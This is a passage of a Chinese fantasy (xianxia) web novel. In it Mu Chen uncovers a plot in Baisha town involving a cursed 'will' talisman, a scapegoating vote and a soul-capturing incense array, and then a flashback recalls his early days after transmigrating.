但显然慕沉不会这么想。若真是这么简单的邪物,又岂会一整个镇都拿它没办法?总不至于白沙镇一个能用的人都没有吧。
单凭这一点点说辞还不能够让慕沉妄下定论,这种事发生在白沙镇就有点微妙,毕竟除了真有什么邪物,他们镇上独有的“遗志”也能够拿来大做文章。
君、慕二人故意走在最后头。慕沉问到身旁的君谿。“你离开镇之前,可有听闻你们镇上的这些事?”
“并无,估计是我离开的这两个月发生的。”君谿回答,而后又犹豫了一下,对慕沉说:“先生,我没有在宴席上看见魏霜林。他是林镇主的儿子,也是林镇主身边很重要的人,无论在哪些方面。”
林宸珠的儿子。这是他第二次在别人口中听到。既然是个重要人物,不在场好像不合理。
正要细问,那个看起来有资历的老者突然走进,打量了他一下,笑着点点头,似乎有些欣慰,凑近小声说:“你就是清诡门慕仙师的那个弟子吧?确实是年轻有为,暗藏锋芒啊!”说着拍了拍慕沉的肩膀,自动忽略了君谿,“不瞒这位小兄弟,其实我已经仰慕慕仙师很久了,或许很多年轻人已经不知道了,但我还记得他当年雄姿……”
“……”慕沉一时竟不知如何打断这位老者的话。不,不是老者……
君谿默默跟在他们身后。
“哎……虽然我也是听说,没真正见识,你知道多少人想成为慕仙师的徒弟吗?倒是让你小子修到了福气。”老者叹了口气,感慨道。
“……我不是他的徒弟。”慕沉苍白地解释。
“胡说!”那老者吹胡子瞪眼,“我还没老眼昏花。宴会上我都看见林镇主去你那打招呼了,说你就是慕仙师的徒弟。”
慕沉无从辩解,也不怪他这个面相能蒙骗很多人。尽管不想承认,但他无疑是在场年纪最大的。这让他突然有些伤感。
见他不回话,老者便当他默认,再次拍了拍他的肩膀,“行了,你也不用这么低调,大方承认就是了,”说着从口袋中掏出一封信,嘱咐道,“多谢小兄弟帮我转交给慕仙师了。这么多年了,终于能把我想对他说的话交出去了,我还以为这辈子都没机会喽!”
老者已经渐行渐远,却还是能看见他脸上洋溢的笑容,显然心情十分不错。
一旁的君谿目睹全程,到底还是没忍住笑了出声。
“……”这封信在手中倒像是烫手山芋,慕沉很快收了起来,等以后有时间再看,也算是不辜负老者的美意。
被这么一打岔,慕沉已经忘记刚才要说什么了。但还没等他想起,不远处已经有房屋的轮廓了。
半夜入郊,深山老林,未免有些渗得慌。
不过来者除了镇主和余下几个本地人来凑热闹外,都是与妖魔鬼怪打交道的,有几分胆色。
推门而入,却见屋内多多少少不下十个人,全都是半痴半癫狂的模样。
那个资历尚浅的人最先开口:“我看这也不像是被什么魔物附身啊……”按理说被附身后的攻击性会极其强烈,看到这么一群正常人定然不会安分。
还没等人接话,那些“中邪”的人霎时变得“不安分”起来,只是各有各不同,有的变得十分脆弱伤心,有的又疯狂大笑,还有表现出害怕的,更甚者恼羞成怒,向他们攻击去!
区区十几人,却有种人间百态的精彩。
慕沉迅速从袖中拿出短笛,吹响了清心曲。这一次,那些人都被安抚下来。
众人纷纷将目光投向他,其中不乏有那位老者,微笑着冲他点点头。
那位即将被攻击到的道友顿时松了口气,对他说:“多谢你了,兄弟。”
被安抚下来的人瞬间又躁动起来!
“哎哟——”刚道完谢,那人躲闪不及,被揍了一拳。
慕沉眼角突了一下,立即沉声说:“别说话。这些人的反常行为跟我们说话有关。”
随即再次吹起曲子。
他身形高挑,玉树临风,在人群中本就十分突出,从容不迫的举止和巧捷万端的能力更加耀眼,让人不由得就相信他的话,纷纷没了声音。
曲毕,先前一个面露痛苦的“中邪”之人竟已然恢复清明,愣了好一会儿后,也没反应过来这是哪里,看着眼前一群陌生人不知所措。还不等他开口,便有识时务的人将他带出屋外,隔绝屋内与外界的
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声音。
那人见到熟悉的镇主,立即跑过去跪在林宸珠面前,声音微微颤颤的:“镇主……快救救我们吧……遗志……白沙镇的人都会死光的……镇主……”
此人说话含糊不清,却相当精准地找到了重点。
在场听到的人各有所思。
林宸珠面色一凛,将那人扶起来,轻声道:“不急,慢慢说。遗志是怎么回事?”
“镇主,魏……魏霜林的遗志……”那人看着林宸珠,似乎找到了依靠,但声音仍然颤抖着,“他写了全镇人的名字!”
“哦?既然如此,那么他的遗志作废了。”林宸珠反倒松了口气。
那人显然没放松下来,惊恐地说道:“不……镇主,已经是第九个了……遗志上的人在一个一个消失……”
“你在哪看到的?”林宸珠皱着眉问。
“在……在……”那人支支吾吾,眼神躲闪,“在你们后面。”
后面?是屋子。林宸珠立刻推门而入,动用镇主特有的术法很快就将遗志找出来了。大大小小不下十张,不过很快就将其他的排除在外,仔细观察一番,竟没找出半点端倪。
半晌,林宸珠艰难开口:“此遗志……生效。以我的能力不足以毁掉它。”
慕沉粗略撇了两眼,那张符纸上并没有任何血迹,而是用术法将血刻在空气里投射到符纸上的。不然单凭一张纸,怎么够写得完全镇的人。
在场的镇里人全都倒吸一口气,变了脸色。
那个恢复过来的人不知看到了什么,踉踉跄跄地后退,在害怕。
顺着他的视线,慕沉注意到屋内的一个人,从头到尾藏在光线阴暗的角落——那张遗志就是从此人身上取出来的。
只见这人缓缓走出,眼底未掀起一丝波澜,淡淡地看着林宸珠,轻笑道:“母亲,想我了吗?”
“儿子可是非常想您呢。”
外地人看着这母子二人的对峙,有些一头雾水。
一个镇中有些权威的男人沉不住气,不断瞥了几眼魏霜林,似乎有些顾忌他,却转而面色愠怒地悄声对林宸珠说:“林镇主,这是怎么回事?他不是已经——”男人没把话挑明,但懂的都懂,显然已经没有看热闹的欲望,“林镇主,我先告辞了。至于这件事,你必须要给我和百姓一个说法。”说着便带头带动周围的贵族离开。
听及此处,魏霜林冷冷一笑,转瞬间就来到男人的面前,语气不善:“真当我不存在啊,王齐铨。”
“王齐铨是白沙镇主事,也是最有权威的势力大族之首。后面那个是他最小的儿子,王缎。”君谿一旁悄悄地向他解释。
慕沉静观魏霜林的动作,感觉不像是一个普通人所具有的速度,还没来得及细想,魏霜林已经徒手扼住了王主事的喉咙,笑着说:“平日里就数你最偷奸耍滑,坏事做尽了还想跑,不如今日就先拿你开刀如何?”
“霜林——”林宸珠大喊一声,想阻止他。白沙镇势力盘根错杂,此时对王齐铨下手恐怕会引起纷乱!
却来不及——
魏霜林已经毫不犹豫地捏爆了王齐铨的喉咙!血液喷溅,王齐铨没了生息,随意瘫倒在地上。
任谁看到这个画面都会下意识屏住呼吸。
林宸珠瞳孔紧缩,看着此时的魏霜林,半晌说不出话来。
那只沾着血的手还在微微颤抖,魏霜林缓缓闭上了双眼。只是下一秒又睁开,盯向地上的人,不知在想什么,嘴里“呵呵”地笑着。
一切尽收眼底,慕沉默默地看着。有影有形,速度非常人能比,戾气深,怨气重——他是周遭人?
9. 昔白沙风云暗涌
刹那间血雾弥漫开来。
慕沉察觉,立即转头想要提醒君谿屏息,却还是一时不敌,吸入一点气味,头脑有点昏昏沉沉地倒下了。
同时倒下了一片。
但慕沉又是清醒的,清醒地认识到自己身处阵中。摄魂香开启的阵,中阵的人会短暂地摄别人的魂,简单来说,就是能够亲身经历同为中阵者的回忆。只是非常不稳定,也有可能随意变化。若是多人同时中阵,记忆繁杂多乱,很容易就迷失在不同的记忆里,找不到自己真正的魂。香不灭,阵不止,当然,香灭了阵也就结束了,算是对此邪阵的限制。那么是谁开起这个阵?总不能是魏霜林自己吧。
再次睁眼,映入眼帘的是装横淡雅的房间。慕沉观察四周,竟没有发现一面镜子。这是谁的记忆?
此时房门被敲响。“少主,温姑娘来找你了。”
慕沉跟随记忆中的言行举止,答道:“知道了。我稍后就来。”
说着放下手中的书,正打算开门。慕沉来不及细看此人读的是什么,转头瞥了一眼,一摞医案摆在桌子上,便出门去见那个温姑娘了。
府中院子的小亭里,一位和君谿差不多年纪的女孩坐着,满面忧郁,完全不像是妙龄女子应该有的神色。
见他来了,女孩有些惊喜,笑着跑来环着腰抱住了他。
慕沉感到有些奇怪。在这个人的记忆里,女孩跑来抱着的时候好像不该是这个神情,而是面带委屈,眼中含泪。
不过奇怪只是那一瞬。女孩带着哭腔说道:“魏公子……我实在不知该怎么办了……他们……又来找我,又来说我了……”她眼中饱含泪水,抬头看向他,“你说,不如我们就此结束吧?”
魏霜林没料到女孩会这么说,不免有些慌乱起来,将女孩抱得更紧。“对不起……阿茹。是我没考虑到你的感受。我的事情已经有眉目了,届时我便向母亲请辞,带你离这些是非远远的。再给我一点时间好吗?”
温茹又何尝不知魏霜林此时的压力。她稍微冷静下来,轻声说:“是我有点不审时度势了。我希望你好好的。实在不行,我们就逃吧。”
“好。”魏霜林很快答应下来,随即对一旁默默守着的侍卫说,“带温小姐去休息。”
这个小插曲暂告一段落,魏霜林又忙不停歇地出府,找林宸珠商议一些事。
由于处理公务地方离府很近,省了坐马车的麻烦。
走在路上,时不时有一些百姓打招呼,笑脸盈盈地看着他,还不忘夸两句。
慕沉倒是稀奇,这个魏霜林看起来很受百姓爱戴,但为什么遗志上却想让百姓葬送呢?难不成此人表里不一?
等见到林宸珠,他恭敬地行礼,“母亲。”
林宸珠点点头,示意他不用虚礼。
他随即表明来意,“您让我查的事情已经有眉目了,此次的谣言正是王主事和他麾下的一些权贵散播。但他们安分了这么多年,怎么突然开始算计?而且事情已经发展到这个地步,民心早已摇摇欲坠,还有什么挽回的余地吗?”
思及此处,他顿了顿,犹豫着,“……母亲,等事情结束,我想与温姑娘成亲,离开这个地方。”
林宸珠放下手中的笔,看不出什么表情。
“身为母亲,我自然是希望你早日成家,幸福美满。但同样身为镇主,你便是我身边最得力的助将,儿女情长之事不该现在提。”
随后又叹了一口气,语重心长地看着他说,“霜林啊……看见如今的白沙镇了吗?因为这些谣言,已经要靠所谓的献祭平息天怒来获得心安。先前你被推向众矢之的,侥幸因百姓的反对才躲过一劫。如今事态恶化,你觉得百姓还会向着你吗?”不等他回话,林宸珠面色严肃地看着他,“镇里的情况就是如此。但我是一镇之主,更不可能放弃整个镇。”
魏霜林愣了很久,不知该如何应对。
“明日的投票结果,决定了你的生死。不过我也不可能真让你白白送命。届时安排假死,你和温姑娘就远离这个是非之地吧,剩下的交给母亲。”
看着母亲,魏霜林逐渐红了眼眶。但他知道眼下不是煽情的时机,待他逐渐稳定心神,想起一件事没说,正要开口,一个下属来禀报:“镇主,君秋恒求见。”
魏霜林主动提出离开。
夜半,魏霜林走进了镇边的密林中。他查到一些线索,那群腐败势利之辈不可能想出这招突然刁难,否则以母亲的手段,他们是不想活了。除非有人怂恿甚至推波助澜。而此人,正在这密林中。
月光下,似有一人已经等候多时。此人笑了笑,漫不经心地看着他,“你倒是比我想象的还聪明。”
慕沉看着对方,倒觉得此人十分熟悉,却一时想不起来是哪个熟悉的人。
“你就是文亥?那个从中作梗之人。”魏霜林从线人情报得知此人名字,每每以教书先生的身份进入王齐铨府中,实则是在密谋什么事。
文亥但笑不语,似是在默认。
“为什么?”魏霜林不解,“你不是镇里的人,究竟想干什么?”
“干什么?”文亥缓缓走近,“自然是想将白沙镇搅得天翻地覆。”
“原来如此。”魏霜林已经明白了什么,桌子上的医案证明了一切,“十年前的若乔镇,与一个月前的白沙镇几乎一模一样。都是你干的吧。”
慕沉似乎听到什么重要的信息。十年前的若乔镇?不就是颜悦那时候的发生的事吗?一个月前的白沙镇,不,现在是三个月前的白沙镇,也经历了周遭影子的袭击?
文亥挑了挑眉,有些赞赏道:“连这都能找到,你还真是不简单。不妨猜猜你袖中的遗志,有没有什么变化?”
魏霜林面色一变,确认了遗志还在,有些愠怒道:“休要再耍什么把戏,你不可能得逞。”说着拿出配剑,欲与之争斗。
但显然文亥没有这种打算,“跟你做个交易如何?你不是想知道如何医治那些百姓吗?”
魏霜林显然不会信他的话,冷冷回答:“你就是这样唬弄王齐铨的吗。”
“无论如何,我不会信你一分。”魏霜林自知对方不可能就此罢休,便不再与之对峙,毫不留念地离开。
回到房间,他拿出了自己的遗志。由于遗志是镇长掌管的东西,身为林宸珠的儿子,自然也略懂一二。他仔细观察,竟发现符文纹路与以往略有不同,差之毫厘失之千里。
慕沉了然,原来遗志就是这个时候被改的。但魏霜林又有什么理由写下所有人的名字?
一阵天旋地转,慕沉脑袋昏沉,再睁眼是一面镶金边的落地镜。镜子前是刚死不久的王齐铨,正在试衣服,穿得十分庸俗,他看着镜子前的“自己”,慕沉已经不忍直视了。
欣赏完自己的新衣,王齐铨来到主室,文亥已经在这里等了。
文亥放下手中的茶杯,淡淡开口:“王主事。在下今日前来,是想与你做个交易。”
没等他拒绝,又接着说,“王主事不是忌惮林宸珠吗?我能够帮你重创她一次。如何?”
王齐铨眼角一跳,矢口否认,但思及此处是自己家,便又壮了胆子,按耐不住自己的心思,
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问:“你真有办法?”
“我既然能开口,便不是信口雌黄。”说着拿出一张符纸,递给他。
王齐铨看不出什么所以然,但慕沉却知道,恐怕这就是能召出周遭影子东西了。
“将此符纸用鲜血浸泡,会召来魔物。魔物会神不知鬼不觉地让一个个的人在一个月内从世间消失,再无踪迹。届时你便放出‘天罚神怒’的流言,推出一人献祭平息天怒。你觉得,这人应该是谁呢?”
王齐铨越听越激动,刚想说是林宸珠,文亥已经快一步说出:“自然是民心所向的魏霜林。”
文亥的眼神像看傻子一样,偏偏王齐铨就是没感觉到,反而愣了一下,怎么和自己想的不太一样。连慕沉都看不下去,厌蠢症犯了,偏偏他此刻又能感受到王齐铨愚不可及的想法。
“林宸珠身为镇主,自然是不可能被推出去。而她的儿子不同,羽翼尚未丰满,断林宸珠一臂已足以让她损失惨重。到时候你再清除这些魔物,便可将功劳揽在自己身上。”
“可是,既然魏霜林受百姓爱戴,那些愚民又怎么会把他推出去送死?”王齐铨不明白。
“百姓能将他推上神坛,自然也能让他一夜之间下入地狱。”文亥不知想到什么,阴沉地笑了。
王齐铨听完啧啧称赞,脸上的笑容都快抑制不住。“文先生足智多谋,令我佩服。那你想从我这里得到什么?”
“简单。我要的就是把魏霜林推向地狱。”
王齐铨听完一愣,“呵呵”地笑着,心里盘算这笔买卖简直大赚,“那要怎么清除这些魔物呢?”
这是个好问题。慕沉想,王齐铨终于问到点子上了。
“清心曲。”
还没思考,这个回忆的幻境又坍塌了。不过慕沉庆幸前两次都看到了重要部分,整件事情的起因已经浮出水面。
这次又是谁呢?
眼前是一张堆满公文的桌案。能有如此多事务的,显然正是白沙镇镇主林宸珠。
“镇主,魏少主求见。”一侍从禀报。
她点了点头。
很快,少年红着眼眶,跪在桌案前。声音沙哑,明显是伤心欲绝的模样。
“母亲……阿茹死了。”
“是被他们逼死的……”
“阿茹不过是投了反对的一票,不还是改变不了最后的结果吗?为什么要对她恶语相向……”
“母亲……”
“为什么?……”
她看魏霜林已经濒临崩溃,于心不忍,离开案桌,走到少年面前,皱着眉头倾身将他抱在怀里,却不知如何安慰。
“……霜林。人心难测,人言可畏。”
这就是人。
“你可以去怨恨他们,但你一个人,又怎么辩得过那么多人呢?哪里人多,哪里就是所谓的‘正义’啊。”
真是荒谬可笑。
“傻孩子,把温姑娘安葬了吧。”
“扮狼的野狗已经露出了它的爪牙,就等你揪出它们的尾巴。”
林宸珠看着远去的背影,这还不过是刚弱冠的少年。
身为母亲,她到底还是忍不住落下一滴泪。
“我是不是,就不该把他捡回来……?”也不知是呢喃,还是对一旁的侍从说。
既然捡回来,为什么不好好教他,带他?
凭什么能让人随便欺负他?
“去查查王齐铨一党近来的所有动向。”她吩咐下属道。
末了,主堂上空荡荡只剩一人。
“我终究不是一个好母亲。”
10. 止步半决事暂息
摄魂阵还没结束。
摄魂香还没燃尽。
但不应该啊。按理说早应该停下。
除非有人续香。
慕沉在一片混乱的阵中隐约听到一段对话——
“主子。”似乎是等待命令。
一女子声音十分明显:“我已知事情全貌。香继续点上,让他们再混乱一段时间。”
“‘另外’那些人怎么办?”
“若是有碍事的,杀了便是。”那女声带着冷酷。
“属下领命。”
既然如此,看来这摄魂阵一时半会是不会停止了。慕沉应当是入阵者中修为最高的,能看到的便是所有入阵者的回忆。但——
待在阵中的时间越久,经历的记忆越多,神志自然会越来越迷乱。稍有不慎便遭受反噬,变得疯疯癫癫。
好在他现在还承受得住。
慕沉在心中默念清心诀,整理了思绪,将许多杂而无用的记忆抛诸脑后。
一阵天旋地转,又附身到一人身上。
他现在身处酒楼雅间的靠窗前,一旁的仆从谄媚地笑着对他说:“公子,有好戏看了。”
他看向窗外,原本是戏台子的地方临时搭建了一个台面,两边各站了一个守卫,专门守着中间放着的两个大箱子。
可能这就是用来决定魏霜林生死的“投票箱”吧。慕沉想。
此时楼中隐约传来一些议论,就是关于魏霜林这件事。
“魏公子好歹也帮助过镇里所有人……真的要对他——”一个唯唯诺诺的声音说道。
“你也不看看现在是什么情况?谁知道哪天死的就是你?难道你愿意被献出去?再说了,他是镇长的儿子,”一个人十分理直气壮,“既然帮过,那再帮这一次又有何不可?我们又不是记不住他的好。”
可是一个月前你不是这么说的。那个唯唯诺诺的人到底还是没敢说出来。
他默默听着,静静地看着窗外百姓的选择,虽然早就知道了结果,不免还是有些唏嘘。
所有人都不想当枪头鸟,所有人都默认地选择了曾经帮助过他们的魏霜林。
不,还是有人舍不得他。
温茹在大庭广众之下站出来,似乎鼓足了很多勇气。但她毫不犹豫地将手中的票投向“反对”,然后快速跑走。
慕沉明显感知到这位“公子”的气愤,仿佛计划被一下子打乱。他转头对他的仆从说:“我看这女的是不涨教训。你去放点消息,就着这投票一事,说她不想活了要拉全镇的人陪葬。越夸张越好,那大夫不是说她心中郁结吗,我看她这次还能不能挺过去。”
那仆人百般讨好地退下了。
而后“公子”自言自语道:“父亲一向与林宸珠暗斗,可不能错失杀了魏霜林的良机。温茹一死,恐怕他的念头就彻底断了。”说着说着,便癫狂地笑了。
果然有其父必有其子。这王齐铨父子属实是玩弄人心的一把好手。
让慕沉意想不到的是,等温茹走后,看到了一个熟悉的人。
只见君谿走到箱子前,神色复杂地看了眼手中的“票”,冷笑了一声,瞬间将它撕成碎片,扔在半空。末了,淡淡地说了句:“真是可笑。”
转而面带微笑地跟一旁的守卫对话:“我代表君府,不想参与这场闹剧。”
……
“没有任何修为却能产生心魔,你倒是可用之材。”
……
“你当年欠我多少钱,还记不记得?”
这又是谁?
……
“相逢不用忙归去,云外青峰竹正浓。”
等等——这是谁的……记忆?!
……
慕沉逐渐混乱,仿佛出现一股绳将脑子绞得生疼,下一秒就要崩断炸开。
饶是强大如慕沉,也拿摄魂阵没办法。
好在此刻,镇魂香散,清心曲响。
慕沉十分疲惫地揉了揉太阳穴,被人扶了起来。睁眼一看,果然是是司马锋。他在倒下去的前一刻便用了特殊手段联系了不在场的两个弟子。
“慕师叔感觉如何?”司马锋有些担忧地问。
“无碍。”慕沉平静下来,环顾四周,见一旁的君谿也好不到哪去,其他人同样或多或少受点影响。
他稍微整理了一下思绪:三个月前文亥教唆王齐铨放出了周遭影子,但却放出谣言是某种疫病要靠祭祀祈求上天,魏霜林被推出两次,自戕后不知所踪。再后来出的乱子,估计就是周遭人所为。
能知道这些,还多亏了摄魂阵。那么施阵者抱以何目的?
此时林镇主和魏霜林都不见踪影。
其中一人面色难看万分地吩咐身边的手下将王齐铨的尸首收敛起来,俨然就是王齐铨最小的儿子王缎。他意味不明地看了一眼君谿,带着一部分人离开。
剩下的这些人,无非就是群龙无首的王齐铨一党和不明所以被卷进来的外人。那些修为较高的多少都看到了一些关键部分,个个脸上的神情都精彩万分,有些话语权的甚至有些气愤,直接想一走了之,觉得自己误入了一个鸿门宴。
镇上突然来了一群守卫,将他们统统围住。
“镇主有令,请各位宗师前辈到镇主府中一叙。”为首的说道。
先前的那名老者面露不快,开口便是反问:“若是我等不愿意,难道你们还能胁迫不成?”
“就是,”其中一人附和道,“更何况这件事,我处理不了。”
守卫长有些进退两难,但林镇主的态度并非强硬,到底还是妥协:“让各位看笑话了,既然如此,远走不送。”
这场宴会终是以闹剧收场,几乎所有人都一哄而散。
只有慕沉一等人驻足不走。
守卫长见他们没有要走的迹象,不免有些错愕问道:“几位宗师不走吗?”
“我什么时候说要走了?”慕沉挑着眉笑了笑,“若是都离开了恐怕你也不好交代吧。请带路。”
守卫长狐疑地打量了他几眼,将信将疑地走在前面。
他们便沿路走出林子,却不是之前来时的景致。
林中时不时传来昆虫的鸣叫声,夹杂着一行人的脚步声,天色还没有亮的意思。
不过多时,脚步声逐渐浅了。他回头一看,除了一直跟着他的三个小孩,原本后面还有十几个守卫,如今无影无踪。而在他前面的首领却没发觉似的,自顾自地继续走着。
道是越来越难走,人是越走越慢。
他心笑果然。
慕沉停下脚步,笑着提醒道:“这位长官,还有往前走的必要吗?不妨开门见山,我时间挺赶的。”
只见对方脚步一顿,说了句“好啊”,随后立即转身,一把长刀在手中凭空出现
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,朝慕沉砍来。
“师叔当心——”司马锋喊道,只来得及提醒慕沉。
说时迟那时快,还没等其他人反应过来,那一刀堪堪停在眼前——君谿已经拔剑拦住,与那侍卫首领缠斗起来。
慕沉镇定自若地站在原处,心想这小子的反应能力还挺快,都不用他自己出手了。
君谿招式利落,将对方打得节节败退,不久对方就红了眼,像是被逼急了,逐渐摸清君谿的路数,转而展开猛烈的攻势。
那首领的路数杂而无章,再次朝君谿砍去,见他毫不犹豫地用剑挡住,不禁冷笑一下——
竟是将君谿的配剑生砍成两半!
好在司马锋、王政乐一并加入了战斗,以一挑三终是不敌,狼狈跌坐在地上。
“剑断了。”君谿陈述这个事实,低头呆呆地看着被劈成两半的剑,一半在手里,另一半孤零零躺在地上。
这跟平日里沉稳的君谿不太一样。慕沉失笑一声,安慰道:“山门内还有很多,到时候任你挑选。”
君谿看了看手中的残剑,又看了看慕沉,毫不犹豫松手,清脆的一声,两只残剑发生了碰撞,剑就这么被它主人抛弃。君谿笑着对他说:“好啊。”
慕沉走了过去,蹲下与那首领平视,面色和缓地说:“其实我们才在你的意料之外吧?特地让我们这些人离开,是真心实意的,还是想等我们分开后再灭口?”
“很可惜,你遇到的不是别人。”慕沉仿佛真的在为他感到惋惜似的,轻笑着,“怎么想的,你一个人就想对付我们四个?”
“呵……”那人冷笑,认命似的,“确实是没料到各位深藏不露。要杀便杀,多说什么废话。”
慕沉二话不说将他打晕了,同时站起来对三个小辈吩咐道:“你们三个回去睡觉。天亮之前没你们的事了。”
“等等师叔——”王政乐有些焦急问,“您不一起回去吗?”
他摇摇头解释:“不了。我还有一点小事要处理。”
司马锋皱眉,倒不是因为慕沉,毕竟长辈做事不该问的就不问,而是——“师叔,那些被牵扯进来的镇外人怎么办?这个人又怎么处理?”
慕沉心想这小子还真是跟他师兄一样操碎了心,“不用管他。你觉得既然我们都料到了,会有人没想到解决办法吗?”他拍了拍司马锋的肩,语重心长道,“放心吧,你们是下山玩的,不要操心那么多。”
司马、王二人松了口气。
一旁的君谿默默听着,这时突然揪着他袖子的一角,才开口:“我和您一起去,先生。”
慕沉无奈,虽然知道君谿是出于好意,但他有什么可担心的,于是苦口婆心劝道:“你别去了,跟你师兄们回去,明天还要让你带我们逛逛白沙镇呢。”
他打马虎眼,为了增加说服力,又补充道:“毕竟好不容易出来一趟,不能白来是吧。”
“可是——”君谿还欲狡辩什么,慕沉直接向司马锋他们使了个眼色,司马锋很快会意,与王政乐一起拉着君谿离开。“走啦走啦,慕师叔不会有事的。再说了,他有事你也帮不上忙啊……”声音渐行渐小。
慕沉目送他们离开,松了一口气,转身回到之前中摄魂香的地方。
他静静地盯着某一处看。那里什么都没有。
镇魂香早就散了,但他却勾起了他心中最深处的回忆。
11. 初来乍到莫心慌
穿越伊始。
慕沉一个人在这人生地不熟的地方待了一段时间。他仍然适应不了——怎么可能这么容易就习惯这里的生活。江湖纷乱繁多,普通的老百姓尚且跟着遭殃,三天两头便有事端。更何况他在这无依无靠的,又怎么扎根?
不安。因为他一无所有,不懂怎么在这里活下去。
焦躁,无助。他不过是读了几年书,还没来得及在社会立足的知识分子——一个手无缚鸡之力的青年。简单来说,就是一个还需要靠父母补给的社会废人。
让他当农民吧,他没有地,还不会种田;让他去做生意吧,他没有本金,还不懂经商。真是干啥啥不行。
他不是那些胆大的人,变数只会让他不安。也不是激进的人,未知只会让他感到恐惧。
但是既来之则安之,慕沉觉得应该先给自己找个靠山。
“就是你想要拜师学艺?”来者是何初,打量了他一眼,对他使了使眼色,“不好意思,鸿琛堂不收外徒。请回吧。”
鸿琛堂毕竟是个大门派,何初又是鸿琛堂的大弟子,在当地也算小有名气。
慕沉吃了闭门羹也算是在预料之内。但闭门羹吃太多也不好,容易让他产生挫败感。
最终他还是放弃了这个想法,找了一处深山老林的废弃屋子,草草了却余生。
已经过去几年了,吃喝住行不成问题,让他这个曾经十指不沾阳春水的“少爷”能够自给自足了。
他像往常一样,在林中找点果子,顺带消消食,毕竟这里已经大致被他摸透了,最危险不过有人出现。
这时,一个青年突然进入他的视野。只见那人急哄哄地跑着,看见慕沉瞬间两眼放光,急忙抓住他的手,气喘吁吁说道:“兄弟!等会要是有人问起我在哪,你就说我往那个方向跑了!”说着随便指了一个方向,还没等慕沉拒绝就在周围找了一颗比较茂密的树爬上去藏了起来。
慕沉不想参与其中,还没走两步真的来了一群人。他看似漫不经意地随便瞥两眼,发现每个人的手上都拿着配剑。看起来来者不善。
这种情况最终那个被问路的人定然讨不到好。
他微微皱眉,真是怕啥来啥。
“你可看见一个男子——”
“不知道,没看见。”慕沉不是很想搭理他们,想离开这里。
“站住——”另一个人被慕沉的态度气到,拔剑架到他脖颈处,“我师兄跟你说话你就好好听!”
他冷冷地看着对方,也不知是谁给的底气,缓缓用手移开脖颈上的剑,一点也不惧怕,最终还是指了一个方向。
见他们已经知道了方向,可还是没有善了的意思,他就知道,看来树上那个人不简单,这是要灭他口的意思了。
那个“师兄”示意其他人先追上去,自己却留下来,举剑对着慕沉说:“不好意思了这位小兄弟。”
正当慕沉思考自己是会被抹脖子还是穿心脏时,树上那人跳了下来,一把挑开对面的剑。
青年有些生气,瞪着对方,道:“方子旭!你知道你在干什么吗?”
“自然知道。”方子旭轻笑一声,“若是不装装样子,能把你逼出来吗。”
刹那间两人便开始打斗起来,但显然青年更胜一筹,将对方划了几道伤口,他眯了眯眼,带着警告意味:“你也不用费心思了,直接告诉他们我已经死了——你知道我是什么意思。”
方子旭嘴唇颤了颤,到底还是没说什么。最后毅然决然地离开此处。
就这么简单?那还躲什么?慕沉有些无语。
青年转身盯着他看了一会,恍然大悟道:“你就是之前那个来求师的!这么巧啊兄弟,在这碰到你。”
他自来熟地搭上慕沉的肩,被慕沉毫不留情撇下去。
慕沉有点记不清对方是哪个,直接问:“你是哪位?”
“我就是上次那个拒绝你的啊你忘了?鸿琛堂,何初。”青年自报姓名,滔滔不绝,“跟你讲就不要想着去鸿琛堂求师,没用。”
慕沉想,这人记性倒是好,都过去这么好些年了,竟然还能记得。
只不过鸿琛堂一个大门大派,许多人汲汲渴求的位置,在何初口中却成了一个一文不值的东西。这就是来自大弟子的不屑吗?有被伤到。
“话说你怎么看到刀剑都不躲的,胆子这么大?”何初又搭上他的肩膀。
慕沉指了指对方身上的衣着,淡淡回答:“你身上穿的和他们一模一样。”言外之意,一看你们就是师兄弟的关系。说着再次撇开何初的手。
何初讪讪一笑,“好吧,这么明显。”
慕沉没功夫听何初说这些有的没的,转而找回去的路。
却发现何初跟了他一路。
他的警惕心从没消下去,转头问:“还有什么事吗?”
“没看见我被门派赶了出来嘛,现在无处可去了。”何初耸耸肩,有些无所谓,“我看你气度不凡,以后跟你混!”
慕沉没忍住嗤笑了一声。气度不凡?这是他穿越以来听见的第一个笑话。他看着何初,说:“那你看错了。我就是一个普通人,武功还是术法全都不会。”再者说何初明明是自己逃出来,那些人一看就是抓他回去的,非说这话糊弄人。
何初有些不可置信,瞪大双眼,“厉害啊兄弟,那刚才剑都指你脖子上了还不怕,佩服佩服。这下真要上你家坐坐了。”
何初有一搭没一搭说着,还死皮赖脸缠着他,慕沉没办法,只好随意,不久就回到了……
一片废墟。
“呃……这是你家?”何初有些犹豫问道。
他突然想起追何初的那群人是朝这个方向来的,估计是被他们毁的。
慕沉一脸黑线,语气沉沉地答:“真想现在把你剁了喂猪。”虽然他现在打不过对方。
“哈哈……”何初显然也意识到什么,有些心虚,“现在我们两个都成无家可归之人喽……”
“哎呀,反正这里也不太安全,走走走,换个地方住。”何初安慰他说。
“说得轻巧,你倒是找一个地方出来。”他显然不买对方的账。
“诶——”何初打了个响指,“我还真有一个去处。你说巧不巧吧!不过就是有点远,在山的另一头。”
慕沉默默望向远处的山。
“哦还有——”何初想补充一句什么,被慕沉打断了。
“别废话了,带路。”再唠下去天都黑了,有什么话到那边说也不迟。
“不急,”何初狡黠地对他笑了一下,随即拿出一张符纸,自顾自施下咒语,过了不久,符纸逐渐变大,幻化成一道门。“怎么样,是不是很神奇?”何初得意洋洋地看着他。
这是慕沉第一次那么清晰地认识到这个世界的不同。他忍不住好奇,问了句:“你这个东西哪里都能去?”
“怎么可能,”何初摆摆手,推着慕沉进了这扇门,“你来看就知道了。”
下一瞬,他们来到另一个地方,周围还是一片树林。何初指了指一旁的树,树干上被刻了一个符号,很明显就是标记。
“我在这棵树设下阵法,标记在符纸上,所以动用符纸就能来这里。不过弄这种东西还是很麻烦的,之前就没用。现在失效了。”说完,符纸便消失的无影无踪。
慕沉恍然大悟,到底还是没见识过,啧啧称奇。
何初挠挠头,有些不好意思,“我怕万一把纸给弄丢了不安全,所以就没把阵设在我家里。”他指了指前方,“约莫再走半炷香就到了。”
他们在路上走着,不得不说何初的阵法设得很有谨慎意识,若是有心之人想找到这恐怕也不容易。
忽而想到什么,他观测这方圆十里都不像有人烟的样子,“家?你家在深山老林里?”
何初挑了挑眉,不以为然道:“你家不也是。哎,没办法,毕竟我也做不了主。”
这一路上,倒是让慕沉稍微了解了何初,这家伙像是个缺心眼的。
他们俩的脚程有些快,不过多时就到了。
何初朝里面大喊:“爹娘!快出来迎接你们许久不见的儿子!”
此时一中年男子骂骂咧咧地开门,不耐烦道:“喊什么喊!喊什么喊!午睡呢!你娘都被你吵醒了
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!”
